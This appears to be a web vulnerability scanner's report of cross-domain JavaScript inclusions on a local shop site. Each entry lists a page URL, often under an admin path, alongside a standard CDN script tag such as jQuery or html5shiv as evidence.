Attack

Evidence <script src="http://html5shim.googlecode.com/svn/trunk/html5.js"></script>

URL http://192.168.1.10/register.php

Method GET

http://192.168.1.10/products.php
http://192.168.1.10/products.php
http://192.168.1.10/products.php?page=1
http://192.168.1.10/products.php?page=1
http://192.168.1.10/products.php?page=2
http://192.168.1.10/products.php?page=2
http://192.168.1.10/products.php?page=3
http://192.168.1.10/products.php?page=3
http://192.168.1.10/register.php
http://192.168.1.10/register.php


Attack

Evidence <script type="text/javascript" src="http://platform.twitter.com/widgets.js"></script>

URL http://192.168.1.10:80//aboutus.php

Method GET

Attack

Evidence <script src="http://html5shim.googlecode.com/svn/trunk/html5.js"></script>

URL http://192.168.1.10:80//admin/

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10:80//admin/

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10:80//admin/ADMIN/ADS/

Method GET

Attack

Evidence <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>

URL http://192.168.1.10:80//admin/ADMIN/ADS/

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10:80//admin/ADMIN/ADS/

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10:80//admin/ADMIN/ADS/announcement.php

Method GET

Attack

Evidence <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>

URL http://192.168.1.10:80//admin/ADMIN/ADS/announcement.php

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10:80//admin/ADMIN/ADS/announcement.php

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10:80//admin/ADMIN/ADS/announcement_detail.php

Method GET

Attack
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Evidence <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>

URL http://192.168.1.10:80//admin/ADMIN/ADS/announcement_detail.php

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10:80//admin/ADMIN/ADS/announcement_detail.php

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10:80//admin/ADMIN/ADS/Customer_list.php

Method GET

Attack

Evidence <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>

URL http://192.168.1.10:80//admin/ADMIN/ADS/Customer_list.php

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10:80//admin/ADMIN/ADS/Customer_list.php

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10:80//admin/ADMIN/ADS/Customers.php

Method GET

Attack

Evidence <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>

URL http://192.168.1.10:80//admin/ADMIN/ADS/Customers.php

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10:80//admin/ADMIN/ADS/Customers.php

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10:80//admin/ADMIN/ADS/index.php

Method GET

Attack

Evidence <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>

URL http://192.168.1.10:80//admin/ADMIN/ADS/index.php

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>
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URL http://192.168.1.10:80//admin/ADMIN/ADS/index.php

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10:80//admin/ADMIN/ADS/messages.php

Method GET

Attack

Evidence <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>

URL http://192.168.1.10:80//admin/ADMIN/ADS/messages.php

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10:80//admin/ADMIN/ADS/messages.php

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10:80//admin/ADMIN/ADS/View_Customer.php

Method GET

Attack

Evidence <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>

URL http://192.168.1.10:80//admin/ADMIN/ADS/View_Customer.php

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10:80//admin/ADMIN/ADS/View_Customer.php

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10:80//admin/ADMIN/AS/

Method GET

Attack

Evidence <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>

URL http://192.168.1.10:80//admin/ADMIN/AS/

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10:80//admin/ADMIN/AS/

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>
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Method GET

Attack

Evidence <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>

URL http://192.168.1.10:80//admin/ADMIN/AS/announcement_detail.php

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10:80//admin/ADMIN/AS/announcement_detail.php

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10:80//admin/ADMIN/AS/asset.php

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10:80//admin/ADMIN/AS/asset.php

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10:80//admin/ADMIN/AS/index.php

Method GET

Attack

Evidence <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>

URL http://192.168.1.10:80//admin/ADMIN/AS/index.php

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10:80//admin/ADMIN/AS/index.php

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10:80//admin/ADMIN/AS/reports.php

Method GET

Attack

Evidence <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>

URL http://192.168.1.10:80//admin/ADMIN/AS/reports.php

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10:80//admin/ADMIN/AS/reports.php

Method GET
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Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10:80//admin/ADMIN/AS/reports1.php

Method GET

Attack

Evidence <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>

URL http://192.168.1.10:80//admin/ADMIN/AS/reports1.php

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10:80//admin/ADMIN/AS/reports1.php

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10:80//admin/ADMIN/AS/view_product.php

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10:80//admin/ADMIN/AS/view_product.php

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10:80//admin/ADMIN/OOS/

Method GET

Attack

Evidence <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>

URL http://192.168.1.10:80//admin/ADMIN/OOS/

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10:80//admin/ADMIN/OOS/

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10:80//admin/ADMIN/OOS/announcement_detail.php

Method GET

Attack

Evidence <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>

URL http://192.168.1.10:80//admin/ADMIN/OOS/announcement_detail.php

Method GET

Attack
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Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10:80//admin/ADMIN/OOS/announcement_detail.php

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10:80//admin/ADMIN/OOS/confirmed_order.php

Method GET

Attack

Evidence <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>

URL http://192.168.1.10:80//admin/ADMIN/OOS/confirmed_order.php

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10:80//admin/ADMIN/OOS/confirmed_order.php

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10:80//admin/ADMIN/OOS/index.php

Method GET

Attack

Evidence <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>

URL http://192.168.1.10:80//admin/ADMIN/OOS/index.php

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10:80//admin/ADMIN/OOS/index.php

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10:80//admin/ADMIN/OOS/orders.php

Method GET

Attack

Evidence <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>

URL http://192.168.1.10:80//admin/ADMIN/OOS/orders.php

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10:80//admin/ADMIN/OOS/orders.php

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>
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URL http://192.168.1.10:80//admin/ADMIN/OOS/pending_order.php

Method GET

Attack

Evidence <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>

URL http://192.168.1.10:80//admin/ADMIN/OOS/pending_order.php

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10:80//admin/ADMIN/OOS/pending_order.php

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10:80//admin/ADMIN/OOS/reports.php

Method GET

Attack

Evidence <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>

URL http://192.168.1.10:80//admin/ADMIN/OOS/reports.php

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10:80//admin/ADMIN/OOS/reports.php

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10:80//admin/ADMIN/OOS/view_order.php

Method GET

Attack

Evidence <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>

URL http://192.168.1.10:80//admin/ADMIN/OOS/view_order.php

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10:80//admin/ADMIN/OOS/view_order.php

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10:80//admin/ADMIN/OOS/view_order_notif.php

Method GET

Attack

Evidence <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>
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Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>
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URL http://192.168.1.10:80//admin/ADMIN/SERVER/Customer_loginout.php

Method GET

Attack

Evidence <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>

URL http://192.168.1.10:80//admin/ADMIN/SERVER/Customer_loginout.php

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10:80//admin/ADMIN/SERVER/Customer_loginout.php

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10:80//admin/ADMIN/SERVER/edit_user.php

Method GET

Attack

Evidence <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>

URL http://192.168.1.10:80//admin/ADMIN/SERVER/edit_user.php

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10:80//admin/ADMIN/SERVER/edit_user.php

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10:80//admin/ADMIN/SERVER/edit_user_type.php

Method GET

Attack

Evidence <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>

URL http://192.168.1.10:80//admin/ADMIN/SERVER/edit_user_type.php

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10:80//admin/ADMIN/SERVER/edit_user_type.php

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/

Method GET

Attack

Evidence <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>

URL http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/
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Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/announcement_detail.php

Method GET

Attack

Evidence <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>

URL http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/announcement_detail.php

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/announcement_detail.php

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/confirmed_order.php

Method GET

Attack

Evidence <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>

URL http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/confirmed_order.php

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/confirmed_order.php

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/index.php

Method GET

Attack

Evidence <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>

URL http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/index.php

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/index.php

Method GET
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Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/orders.php

Method GET

Attack

Evidence <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>

URL http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/orders.php

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/orders.php

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/pending_order.php

Method GET

Attack

Evidence <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>

URL http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/pending_order.php

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/pending_order.php

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/reports.php

Method GET

Attack

Evidence <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>

URL http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/reports.php

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/reports.php

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/view_order.php

Method GET

Attack
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Evidence <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>

URL http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/view_order.php

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/view_order.php

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/view_order_notif.php

Method GET

Attack

Evidence <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>

URL http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/view_order_notif.php

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/view_order_notif.php

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10:80//admin/ADMIN/SERVER/Recovery.php

Method GET

Attack

Evidence <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>

URL http://192.168.1.10:80//admin/ADMIN/SERVER/Recovery.php

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10:80//admin/ADMIN/SERVER/Recovery.php

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10:80//admin/ADMIN/SERVER/user.php

Method GET

Attack

Evidence <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>

URL http://192.168.1.10:80//admin/ADMIN/SERVER/user.php

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>
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URL http://192.168.1.10:80//admin/ADMIN/SERVER/user.php

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10:80//admin/ADMIN/SERVER/user_type.php

Method GET

Attack

Evidence <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>

URL http://192.168.1.10:80//admin/ADMIN/SERVER/user_type.php

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10:80//admin/ADMIN/SERVER/user_type.php

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10:80//affix.php

Method GET

Attack

Evidence <script src="http://html5shim.googlecode.com/svn/trunk/html5.js"></script>

URL http://192.168.1.10:80//product_details.php

Method GET

Attack

Evidence <script src="http://html5shim.googlecode.com/svn/trunk/html5.js"></script>

URL http://192.168.1.10:80//product_details.php

Method GET

Attack

Evidence <script type="text/javascript" src="http://platform.twitter.com/widgets.js"></script>

URL http://192.168.1.10:80//register.php

Method GET

Attack

Evidence <script src="http://html5shim.googlecode.com/svn/trunk/html5.js"></script>

URL http://192.168.1.10:80//register.php

Method GET

Attack

Evidence <script type="text/javascript" src="http://platform.twitter.com/widgets.js"></script>

URL http://192.168.1.10:80/admin/ADMIN/ADS/add_new_announcement.php

Method GET

Attack

Evidence <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>
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Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10:80/admin/ADMIN/ADS/add_new_announcement.php

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10:80/admin/ADMIN/ADS/edit_announcement.php

Method GET

Attack

Evidence <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>

URL http://192.168.1.10:80/admin/ADMIN/ADS/edit_announcement.php

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10:80/admin/ADMIN/ADS/edit_announcement.php

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10:80/admin/ADMIN/ADS/edit_image_announcement.php

Method GET

Attack

Evidence <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>

URL http://192.168.1.10:80/admin/ADMIN/ADS/edit_image_announcement.php

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10:80/admin/ADMIN/ADS/edit_image_announcement.php

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10:80/admin/ADMIN/AS/add_new_products.php

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10:80/admin/ADMIN/AS/add_new_products.php

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10:80/admin/ADMIN/AS/edit_product.php

Method GET
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Attack

Evidence <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>

URL http://192.168.1.10:80/admin/ADMIN/AS/edit_product.php

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10:80/admin/ADMIN/AS/edit_product.php

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10:80/admin/ADMIN/AS/edit_product_image.php

Method GET

Attack

Evidence <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>

URL http://192.168.1.10:80/admin/ADMIN/AS/edit_product_image.php

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10:80/admin/ADMIN/AS/edit_product_image.php

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10:80/admin/ADMIN/SERVER/

Method GET

Attack

Evidence <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>

URL http://192.168.1.10:80/admin/ADMIN/SERVER/

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10:80/admin/ADMIN/SERVER/

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10:80/admin/ADMIN/SERVER/ADS/add_new_announcement.php

Method GET

Attack

Evidence <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>

URL http://192.168.1.10:80/admin/ADMIN/SERVER/ADS/add_new_announcement.php

Method GET

Attack
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Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10:80/admin/ADMIN/SERVER/ADS/add_new_announcement.php

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10:80/admin/ADMIN/SERVER/ADS/Customers.php

Method GET

Attack

Evidence <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>

URL http://192.168.1.10:80/admin/ADMIN/SERVER/ADS/Customers.php

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10:80/admin/ADMIN/SERVER/ADS/Customers.php

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10:80/admin/ADMIN/SERVER/ADS/edit_announcement.php

Method GET

Attack

Evidence <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>

URL http://192.168.1.10:80/admin/ADMIN/SERVER/ADS/edit_announcement.php

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10:80/admin/ADMIN/SERVER/ADS/edit_announcement.php

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10:80/admin/ADMIN/SERVER/ADS/edit_image_announcement.php

Method GET

Attack

Evidence <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>

URL http://192.168.1.10:80/admin/ADMIN/SERVER/ADS/edit_image_announcement.php

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10:80/admin/ADMIN/SERVER/ADS/edit_image_announcement.php

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>
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URL http://192.168.1.10:80/admin/ADMIN/SERVER/AS/add_new_products.php

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10:80/admin/ADMIN/SERVER/AS/add_new_products.php

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10:80/admin/ADMIN/SERVER/AS/edit_product.php

Method GET

Attack

Evidence <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>

URL http://192.168.1.10:80/admin/ADMIN/SERVER/AS/edit_product.php

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10:80/admin/ADMIN/SERVER/AS/edit_product.php

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10:80/admin/ADMIN/SERVER/AS/edit_product_image.php

Method GET

Attack

Evidence <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>

URL http://192.168.1.10:80/admin/ADMIN/SERVER/AS/edit_product_image.php

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10:80/admin/ADMIN/SERVER/AS/edit_product_image.php

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10:80/admin/ADMIN/SERVER/index.php

Method GET

Attack

Evidence <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>

